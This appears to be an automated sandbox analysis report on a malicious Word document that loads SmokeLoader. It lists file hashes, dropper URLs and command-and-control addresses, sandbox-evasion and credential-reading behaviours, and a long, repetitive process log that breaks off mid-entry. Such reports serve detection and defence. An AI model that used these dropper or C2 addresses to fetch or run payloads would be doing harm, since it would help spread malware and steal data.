Analysis
- max time kernel
150s - max time network
136s - platform
windows10_x64 - resource
win10v20201028 - submitted
20/11/2020, 13:18
Static task
static1
Behavioral task
behavioral1
Sample
Payment-244581781.doc
Resource
win7v20201028
windows7_x64
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
Payment-244581781.doc
Resource
win10v20201028
windows10_x64
0 signatures
0 seconds
General
- Target Payment-244581781.doc
- Size 221KB
- Sample201120-87595w4era
- SHA256 dc0715adb07b65af47d660aa7582f9ecdfc770606f1a852fe1aa7a643bba7543
- MD5 5f8bc9b193340a045df1640e77342e3b
- SHA1 de4e0565d2117a385e4277dcec6a8a53153a20c4
- SHA512 bd554406c4c694988e51c76410725b63cc61fcb85be306f31028c49d99303e40b2997c2c60b2e428c8fa4c1ebc30c8922ce2949d5961e935683a32b36a1d5b90
- MD5 SHA1 SHA512
Score
10/10
Malware Config
Extracted
Language
-
ps1
Source
URLs
-
exe.dropper
http://giftcard2naira.com/
-
exe.dropper
https://nc3aaa.org/
-
exe.dropper
https://readaboutcare.site/
-
exe.dropper
https://www.ctrlbfont.com/
-
exe.dropper
https://prosyarmakassar.com/
-
exe.dropper
https://online-theorie.driveddy.com/
-
exe.dropper
http://sbm.balajihandheld.in/
-
exe.dropper
https://kezenelectric.ca/
Extracted
Family
-
smokeloader
Version
-
2020
C2
-
http://penodux.com/xsmkld/index.php
-
http://tommusikirtyur.com/xsmkld/index.php
-
http://ploaernysannyer.com/xsmkld/index.php
-
http://dersmasfannyer.com/xsmkld/index.php
-
http://derdsgdannyer.com/xsmkld/index.php
rc4.i32
rc4.i32
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 640 3312 cmd.exe 65 - SmokeLoader
Modular backdoor trojan in use since 2014.
- Blacklisted process makes network request 1 IoCs
flow pid Process 23 1908 powershell.exe - Executes dropped EXE 2 IoCs
pid Process 1836 Moax0jt.exe 1020 Moax0jt.exe - Loads dropped DLL 1 IoCs
pid Process 1020 Moax0jt.exe - Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- JavaScript code in executable 3 IoCs
resource yara_rule behavioral2/files/0x000100000001ab76-10.dat js behavioral2/files/0x000100000001ab76-11.dat js behavioral2/files/0x000100000001ab76-14.dat js - Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 1836 set thread context of 1020 1836 Moax0jt.exe 84 - Checks SCSI registry key(s) 3 TTPs 3 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI Moax0jt.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI Moax0jt.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI Moax0jt.exe - Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE - Suspicious behavior: AddClipboardFormatListener 2 IoCs
pid Process 648 WINWORD.EXE 648 WINWORD.EXE - Suspicious behavior: EnumeratesProcesses 2387 IoCs
pid Process 1908 powershell.exe 1908 powershell.exe 1908 powershell.exe 1020 Moax0jt.exe 1020 Moax0jt.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 1616 explorer.exe 1616 explorer.exe 2104 explorer.exe 2104 explorer.exe 1592 explorer.exe 1592 explorer.exe 2136 explorer.exe 2136 explorer.exe 3812 explorer.exe 3812 explorer.exe 1616 explorer.exe 1616 explorer.exe 2968 Process not Found 2968 Process not Found 2104 explorer.exe 2104 explorer.exe 1592 explorer.exe 1592 explorer.exe 2968 Process not Found 2968 Process not Found 2136 explorer.exe 2136 explorer.exe 1616 explorer.exe 1616 explorer.exe 1616 explorer.exe 1616 explorer.exe 3812 explorer.exe 3812 explorer.exe 2104 explorer.exe 2104 explorer.exe 1592 explorer.exe 1592 explorer.exe 2104 explorer.exe 2104 explorer.exe 2968 Process not Found 2968 Process not Found 1592 explorer.exe 1592 explorer.exe 2968 Process not Found 2968 Process not Found 2104 explorer.exe 2104 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2136 explorer.exe 2136 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 3812 explorer.exe 3812 explorer.exe 1592 explorer.exe 1592 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2104 explorer.exe 2104 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2136 explorer.exe 2136 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 3812 explorer.exe 3812 explorer.exe 2968 Process not Found 2968 Process not Found 1592 explorer.exe 1592 explorer.exe 2968 Process not Found 2968 Process not Found 2104 explorer.exe 2104 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2136 explorer.exe 2136 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 3812 explorer.exe 3812 explorer.exe 2968 Process not Found 2968 Process not Found 1592 explorer.exe 1592 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2104 explorer.exe 2104 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2136 explorer.exe 2136 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 3812 explorer.exe 2968 Process not Found 3812 explorer.exe 1592 explorer.exe 1592 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2104 explorer.exe 2104 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2136 explorer.exe 2136 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 3812 explorer.exe 3812 explorer.exe 1592 explorer.exe 2968 Process not Found 1592 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2104 explorer.exe 2104 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2136 explorer.exe 2136 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 3812 explorer.exe 3812 explorer.exe 2968 Process not Found 2968 Process not Found 1592 explorer.exe 1592 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2104 explorer.exe 2968 Process not Found 2104 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2136 explorer.exe 2136 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 3812 explorer.exe 3812 explorer.exe 2968 Process not Found 2968 Process not Found 1592 explorer.exe 1592 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2104 explorer.exe 2104 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2136 explorer.exe 2136 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 3812 explorer.exe 3812 explorer.exe 1592 explorer.exe 1592 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2104 explorer.exe 2104 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2136 explorer.exe 2136 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 3812 explorer.exe 3812 explorer.exe 2968 Process not Found 2968 Process not Found 1592 explorer.exe 1592 explorer.exe 2968 Process not Found 2968 Process not Found 2104 explorer.exe 2104 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2136 explorer.exe 2136 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 3812 explorer.exe 3812 explorer.exe 2968 Process not Found 2968 Process not Found 1592 explorer.exe 1592 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2104 explorer.exe 2968 Process not Found 2104 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2136 explorer.exe 2136 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 3812 explorer.exe 3812 explorer.exe 2968 Process not Found 2968 Process not Found 1592 explorer.exe 1592 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2104 explorer.exe 2104 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2136 explorer.exe 2136 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 3812 explorer.exe 3812 explorer.exe 1592 explorer.exe 1592 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2104 explorer.exe 2104 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2136 explorer.exe 2136 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 3812 explorer.exe 3812 explorer.exe 2968 Process not Found 2968 Process not Found 1592 explorer.exe 1592 explorer.exe 2968 Process not Found 2968 Process not Found 2104 explorer.exe 2104 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2136 explorer.exe 2136 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 3812 explorer.exe 3812 explorer.exe 2968 Process not Found 2968 Process not Found 1592 explorer.exe 1592 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2104 explorer.exe 2104 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2136 explorer.exe 2968 Process not Found 2136 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 3812 explorer.exe 2968 Process not Found 3812 explorer.exe 1592 explorer.exe 1592 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2104 explorer.exe 2104 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2136 explorer.exe 2136 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 3812 explorer.exe 3812 explorer.exe 2968 Process not Found 1592 explorer.exe 2968 Process not Found 1592 explorer.exe 2968 Process not Found 2968 Process not Found 2104 explorer.exe 2104 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2136 explorer.exe 2136 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 3812 explorer.exe 3812 explorer.exe 2968 Process not Found 2968 Process not Found 1592 explorer.exe 1592 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2104 explorer.exe 2968 Process not Found 2104 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2136 explorer.exe 2136 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 3812 explorer.exe 3812 explorer.exe 2968 Process not Found 2968 Process not Found 1592 explorer.exe 1592 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2104 explorer.exe 2104 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2136 explorer.exe 2136 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 3812 explorer.exe 3812 explorer.exe 1592 explorer.exe 1592 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2104 explorer.exe 2104 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2136 explorer.exe 2136 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 3812 explorer.exe 3812 explorer.exe 2968 Process not Found 2968 Process not Found 1592 explorer.exe 1592 explorer.exe 2968 Process not Found 2968 Process not Found 2104 explorer.exe 2104 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2136 explorer.exe 2136 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 3812 explorer.exe 3812 explorer.exe 2968 Process not Found 2968 Process not Found 1592 explorer.exe 1592 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2104 explorer.exe 2104 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2136 explorer.exe 2968 Process not Found 2136 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 3812 explorer.exe 3812 explorer.exe 2968 Process not Found 1592 explorer.exe 1592 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2104 explorer.exe 2104 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2136 explorer.exe 2136 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 3812 explorer.exe 3812 explorer.exe 2968 Process not Found 1592 explorer.exe 2968 Process not Found 1592 explorer.exe 2968 Process not Found 2968 Process not Found 2104 explorer.exe 2104 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2136 explorer.exe 2136 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 3812 explorer.exe 3812 explorer.exe 2968 Process not Found 2968 Process not Found 1592 explorer.exe 1592 explorer.exe 2968 Process not Found 2968 Process not Found 2104 explorer.exe 2968 Process not Found 2104 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2136 explorer.exe 2136 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 3812 explorer.exe 3812 explorer.exe 2968 Process not Found 2968 Process not Found 1592 explorer.exe 1592 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2104 explorer.exe 2104 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2136 explorer.exe 2136 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 3812 explorer.exe 3812 explorer.exe 1592 explorer.exe 1592 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2104 explorer.exe 2104 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2136 explorer.exe 2136 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 3812 explorer.exe 3812 explorer.exe 2968 Process not Found 2968 Process not Found 1592 explorer.exe 1592 explorer.exe 2968 Process not Found 2968 Process not Found 2104 explorer.exe 2104 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2136 explorer.exe 2136 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 3812 explorer.exe 3812 explorer.exe 2968 Process not Found 2968 Process not Found 1592 explorer.exe 1592 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2104 explorer.exe 2104 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2136 explorer.exe 2968 Process not Found 2136 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 3812 explorer.exe 2968 Process not Found 3812 explorer.exe 1592 explorer.exe 1592 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2104 explorer.exe 2104 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2136 explorer.exe 2136 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 3812 explorer.exe 3812 explorer.exe 2968 Process not Found 1592 explorer.exe 2968 Process not Found 1592 explorer.exe 2968 Process not Found 2968 Process not Found 2104 explorer.exe 2104 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2136 explorer.exe 2136 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 3812 explorer.exe 3812 explorer.exe 2968 Process not Found 2968 Process not Found 1592 explorer.exe 1592 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2104 explorer.exe 2968 Process not Found 2104 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2136 explorer.exe 2136 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 3812 explorer.exe 3812 explorer.exe 2968 Process not Found 2968 Process not Found 1592 explorer.exe 1592 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2104 explorer.exe 2104 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2136 explorer.exe 2136 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 3812 explorer.exe 3812 explorer.exe 1592 explorer.exe 1592 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2104 explorer.exe 2104 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2136 explorer.exe 2136 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 3812 explorer.exe 3812 explorer.exe 2968 Process not Found 2968 Process not Found 1592 explorer.exe 1592 explorer.exe 2968 Process not Found 2968 Process not Found 2104 explorer.exe 2104 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2136 explorer.exe 2136 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 3812 explorer.exe 3812 explorer.exe 2968 Process not Found 2968 Process not Found 1592 explorer.exe 1592 explorer.exe 2968 Process not Found 2968 Process not Found 2104 explorer.exe 2968 Process not Found 2104 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2136 explorer.exe 2136 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 3812 explorer.exe 3812 explorer.exe 2968 Process not Found 2968 Process not Found 1592 explorer.exe 1592 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2104 explorer.exe 2104 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2136 explorer.exe 2136 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 3812 explorer.exe 3812 explorer.exe 1592 explorer.exe 1592 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2104 explorer.exe 2104 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2136 explorer.exe 2136 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 3812 explorer.exe 3812 explorer.exe 2968 Process not Found 2968 Process not Found 1592 explorer.exe 1592 explorer.exe 2968 Process not Found 2968 Process not Found 2104 explorer.exe 2104 explorer.exe 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not Found 2968 Process not 